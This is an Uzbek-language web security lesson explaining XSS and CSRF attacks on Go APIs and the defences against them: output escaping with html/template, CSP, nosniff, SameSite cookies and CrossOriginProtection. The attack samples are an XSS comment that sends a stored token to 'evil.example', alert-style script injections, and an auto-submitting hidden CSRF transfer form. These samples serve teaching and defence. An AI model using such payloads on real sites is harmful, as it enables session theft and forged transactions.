Tarkibga o'tish

CSRF & XSS

XSS va CSRF — brauzer orqali amalga oshiriladigan ikki klassik hujum. Ikkalasi ham foydalanuvchining brauzeridan uning xabarisiz foydalanadi, lekin turli yo‘llar bilan:

XSS CSRF
To‘liq nomi Cross-Site Scripting Cross-Site Request Forgery
Mohiyati Hujumchi kodi sizning saytingizda ishlaydi Hujumchi sayti sizning saytingizga so‘rov yuboradi
Nima qila oladi Sahifadagi hamma narsani: tokenni o‘g‘irlash, amallar bajarish Faqat so‘rov yuborish, javobni o‘qiy olmaydi
Asosiy himoya Chiqishni ekranlash, CSP SameSite cookie, Origin tekshiruvi, CSRF token

XSS — saytga begona skript kiritish

Qanday ishlaydi?

Blog platformasida izoh qoldirish mumkin. Hujumchi oddiy matn o‘rniga quyidagini yozadi:

Zo‘r maqola! <script>fetch('https://evil.example/steal?c=' + localStorage.token)</script>

Server izohni bazaga saqlaydi va keyin sahifada ekranlamasdan ko‘rsatadi. Sahifani ochgan har bir foydalanuvchining brauzeri bu skriptni saytning o‘z kodi deb bajaradi. Skript localStoragedagi tokenni hujumchiga yuboradi.

XSS’ning uch turi bor:

  • Stored (saqlangan) — zararli kod bazada saqlanadi va sahifani ochgan hammaga ko‘rsatiladi. Eng xavfli turi.
  • Reflected (qaytarilgan) — kod URL parametrida keladi va darhol javobga qaytariladi: /search?q=<script>...</script>.
  • DOM-based — kod serverga umuman bormaydi. Frontend JavaScript’i URL’dagi ma’lumotni xavfli usulda sahifaga qo‘shadi, masalan innerHTML orqali.

API nuqtai nazaridan

JSON qaytaradigan API’ning o‘zi odatda HTML yaratmaydi. Lekin uning ma’lumotlarini frontend sahifaga chiqaradi. Shuning uchun himoya ikki tomonda bo‘ladi:

Frontend — ma’lumotni HTML sifatida emas, matn sifatida chiqaradi: textContent ishlatiladi, innerHTML emas. React va Vue kabi framework’lar standart holatda shunday qiladi.

API — quyidagi qoidalarga amal qiladi.

1. To‘g‘ri Content-Type

w.Header().Set("Content-Type", "application/json")
w.Header().Set("X-Content-Type-Options", "nosniff")

Content-Type ko‘rsatilmasa, Go javob turini tananing birinchi baytlariga qarab aniqlaydi. JSON ichida <html> bilan boshlanadigan satr bo‘lsa, javob text/html deb belgilanishi mumkin. Keyin brauzer uni sahifa sifatida ochadi va ichidagi skriptni bajaradi.

X-Content-Type-Options: nosniff brauzerga Content-Typeni taxmin qilmasdan, aynan ko‘rsatilganidek qabul qilishni buyuradi.

2. JSON’dagi HTML belgilari

encoding/json standart holatda <, > va & belgilarini <, >, & ko‘rinishida kodlaydi. Bu JSON HTML sahifa ichiga joylansa ham, u yerda </script> teglari paydo bo‘lishining oldini oladi. Bu himoyani o‘chirmang. SetEscapeHTML(false) faqat aniq sabab bo‘lganda ishlatiladi.

3. HTML yaratilsa — faqat html/template

Server HTML sahifa yoki email shablon yaratayotgan bo‘lsa, text/template emas, html/template paketi ishlatiladi. U kontekstga qarab avtomatik ekranlaydi:

main.go
package main

import (
    "fmt"
    htmltpl "html/template"
    "os"
    texttpl "text/template"
)

const page = `<p>Izoh: {{.Comment}}</p>
<a href="{{.Link}}">Profil</a>
<script>var name = {{.Name}};</script>
`

type data struct {
    Comment string
    Link    string
    Name    string
}

func main() {
    d := data{
        Comment: `<script>alert("XSS")</script>`,
        Link:    `javascript:alert(1)`,
        Name:    `"; alert(1); //`,
    }

    fmt.Println("=== text/template (XAVFLI) ===")
    texttpl.Must(texttpl.New("t").Parse(page)).Execute(os.Stdout, d)

    fmt.Println("=== html/template (XAVFSIZ) ===")
    htmltpl.Must(htmltpl.New("h").Parse(page)).Execute(os.Stdout, d)
}
=== text/template (XAVFLI) ===
<p>Izoh: <script>alert("XSS")</script></p>
<a href="javascript:alert(1)">Profil</a>
<script>var name = "; alert(1); //;</script>
=== html/template (XAVFSIZ) ===
<p>Izoh: &lt;script&gt;alert(&#34;XSS&#34;)&lt;/script&gt;</p>
<a href="#ZgotmplZ">Profil</a>
<script>var name = "\"; alert(1); //";</script>

html/template har bir joy uchun alohida qoida qo‘lladi:

  • HTML matni ichida < va > HTML entity’larga aylantirildi, skript bajarilmaydi;
  • href ichidagi xavfli javascript: URL’i #ZgotmplZ bilan almashtirildi;
  • <script> ichida qiymat to‘g‘ri JavaScript satriga aylantirildi.

template.HTML turi ekranlashni o‘chiradi. Uni faqat ishonchli manbadan kelgan HTML uchun ishlating, foydalanuvchi kiritgan ma’lumot uchun hech qachon ishlatmang.

4. Content Security Policy (CSP)

CSP — brauzerga sahifada qaysi manbalardan skript, stil va rasm yuklash mumkinligini aytadigan sarlavha:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'

XSS orqali sahifaga <script> kiritilgan taqdirda ham, CSP inline skriptlarni va begona domenlardan yuklanadigan skriptlarni bloklaydi. Bu ikkinchi himoya qatlami. Faqat JSON qaytaradigan API uchun eng qat’iy variant yetarli: default-src 'none'; frame-ancestors 'none'. Sarlavhalar Security headers & CORS darsida batafsil ko‘riladi.

CSRF — foydalanuvchi nomidan soxta so‘rov

Qanday ishlaydi?

Aziza bank saytiga kirgan. Brauzerda bank.uz uchun session cookie saqlangan. Keyin u boshqa oynada zararli saytni ochadi. U saytda yashirin forma bor:

<form action="https://bank.uz/transfer" method="POST" id="f">
  <input name="to" value="hacker-hisobi">
  <input name="amount" value="1000000">
</form>
<script>document.getElementById('f').submit()</script>

Brauzer bank.uzga POST so‘rov yuboradi va unga avtomatik ravishda Azizaning cookie’sini qo‘shadi. Server cookie’ni ko‘rib, so‘rovni Azizaniki deb o‘ylaydi va pulni o‘tkazib yuboradi.

Hujumchi javobni o‘qiy olmaydi. Lekin unga bu kerak ham emas, chunki amalning o‘zi bajarildi.

Kimga xavfli?

CSRF faqat brauzer autentifikatsiya ma’lumotini avtomatik yuboradigan holatda ishlaydi:

Autentifikatsiya CSRF xavfi
Cookie (session yoki JWT cookie’da) ⚠️ Bor
HTTP Basic auth ⚠️ Bor
Authorization: Bearer sarlavhasi (JavaScript qo‘shadi) ✅ Yo‘q. Boshqa sayt bu sarlavhani qo‘sha olmaydi

Bizning API’miz tokenni Authorization sarlavhasida qabul qiladi. Shu sababli u CSRF’dan tabiiy ravishda himoyalangan. Lekin token cookie’da saqlansa, himoya kerak bo‘ladi.

http.SetCookie(w, &http.Cookie{
    Name:     "session_id",
    Value:    id,
    HttpOnly: true,
    Secure:   true,
    SameSite: http.SameSiteLaxMode,
})

SameSite=Lax bo‘lsa, brauzer boshqa saytdan kelgan POST, PUT va DELETE so‘rovlarga cookie qo‘shmaydi. Zamonaviy brauzerlarda bu CSRF’ning asosiy qismini to‘xtatadi.

Lekin SameSite yagona himoya bo‘lib qolmasligi kerak. U subdomenlar o‘rtasidagi so‘rovlarni to‘xtatmaydi, chunki evil.example.uz va api.example.uz brauzer uchun bir xil "sayt" hisoblanadi. Eski brauzerlar esa uni umuman qo‘llab-quvvatlamasligi mumkin.

Himoya 2: http.CrossOriginProtection (Go 1.25+)

Go 1.25 versiyasida net/http paketiga CSRF’dan himoyalovchi tayyor middleware qo‘shildi. U boshqa manbadan kelgan xavfli so‘rovlarni brauzer yuboradigan sarlavhalar yordamida aniqlaydi:

  • Sec-Fetch-Site — so‘rov qayerdan kelganini bildiradi. Zamonaviy brauzerlarning barchasi uni yuboradi;
  • u bo‘lmasa, Origin sarlavhasi Host bilan solishtiriladi.

GET, HEAD va OPTIONS xavfsiz metodlar hisoblanadi, shuning uchun ular doim o‘tkaziladi. Bu metodlar holatni o‘zgartirmasligi kerak.

main.go
package main

import (
    "fmt"
    "net/http"
    "net/http/httptest"
)

func main() {
    mux := http.NewServeMux()
    mux.HandleFunc("POST /transfer", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprint(w, "o‘tkazma bajarildi")
    })

    cop := http.NewCrossOriginProtection()
    // Frontend boshqa domenda bo‘lsa, uni ishonchli deb qo‘shamiz
    if err := cop.AddTrustedOrigin("https://app.bank.uz"); err != nil {
        panic(err)
    }
    handler := cop.Handler(mux)

    cases := []struct {
        name    string
        headers map[string]string
    }{
        {"shu saytdan", map[string]string{"Sec-Fetch-Site": "same-origin"}},
        {"begona saytdan", map[string]string{"Sec-Fetch-Site": "cross-site"}},
        {"eski brauzer, begona Origin", map[string]string{"Origin": "https://evil.example"}},
        {"ishonchli frontend", map[string]string{"Sec-Fetch-Site": "cross-site", "Origin": "https://app.bank.uz"}},
        {"curl yoki mobil ilova", map[string]string{}},
    }

    for _, c := range cases {
        req := httptest.NewRequest(http.MethodPost, "https://bank.uz/transfer", nil)
        for k, v := range c.headers {
            req.Header.Set(k, v)
        }
        rec := httptest.NewRecorder()
        handler.ServeHTTP(rec, req)
        fmt.Printf("%-28s → %d\n", c.name, rec.Code)
    }
}
shu saytdan                  → 200
begona saytdan               → 403
eski brauzer, begona Origin  → 403
ishonchli frontend           → 200
curl yoki mobil ilova        → 200
  • Boshqa saytdan kelgan so‘rovlar 403 bilan rad etildi.
  • Ishonchli ro‘yxatdagi frontend domeni o‘tkazildi.
  • Sarlavhasiz so‘rovlar o‘tkazildi. Ular brauzerdan emas, curl, mobil ilova yoki boshqa serverdan kelgan deb hisoblanadi. Bunday klientlar cookie’ni avtomatik yubormaydi, shuning uchun CSRF ular uchun xavf tug‘dirmaydi.

CrossOriginProtection ichki holatga ega emas va tokenlar talab qilmaydi. Shuning uchun uni ulash oson.

Himoya 3: CSRF token

An’anaviy usul — har bir forma yoki sessiya uchun tasodifiy token:

  1. Server tasodifiy token yaratadi va uni sahifaga yoki cookie’ga joylaydi.
  2. Frontend har bir POST so‘rovda tokenni sarlavhada yuboradi: X-CSRF-Token: ....
  3. Server tokenni tekshiradi.

Boshqa sayt tokenni bilmaydi, chunki u sahifani o‘qiy olmaydi. Shu sababli to‘g‘ri so‘rov yasay olmaydi. Bu usul eng keng qo‘llab-quvvatlanadi, lekin frontend va backend’da qo‘shimcha kod talab qiladi. Go 1.25+ da ko‘pchilik holatlar uchun CrossOriginProtection va SameSite birgalikda yetarli.

Himoya 4: Content-Type tekshiruvi

Boshqa sayt HTML forma orqali faqat application/x-www-form-urlencoded, multipart/form-data yoki text/plain turidagi so‘rovni oldindan ruxsat so‘ramasdan (CORS preflight’siz) yubora oladi. API faqat application/json qabul qilsa va buni qat’iy tekshirsa, forma orqali soxta so‘rov yuborib bo‘lmaydi.

Bu qo‘shimcha qatlam, asosiy himoya emas.

Xulosa

  • XSS — hujumchi skripti sizning sahifangizda ishlaydi. CSRF — hujumchi sayti sizning API’ngizga foydalanuvchi nomidan so‘rov yuboradi.
  • API’da XSS’dan himoya: to‘g‘ri Content-Type, nosniff, encoding/json ekranlashi, HTML uchun faqat html/template va CSP.
  • html/template ma’lumotni kontekstga qarab avtomatik ekranlaydi. text/template ekranlamaydi.
  • CSRF faqat cookie kabi avtomatik yuboriladigan autentifikatsiyada xavfli. Authorization: Bearer sarlavhasi undan himoyalangan.
  • Cookie ishlatilsa: SameSite, http.CrossOriginProtection va kerak bo‘lsa CSRF token.

Keyingi darsda kiruvchi ma’lumotni tozalash va xavfsiz ishlatish usullarini ko‘ramiz.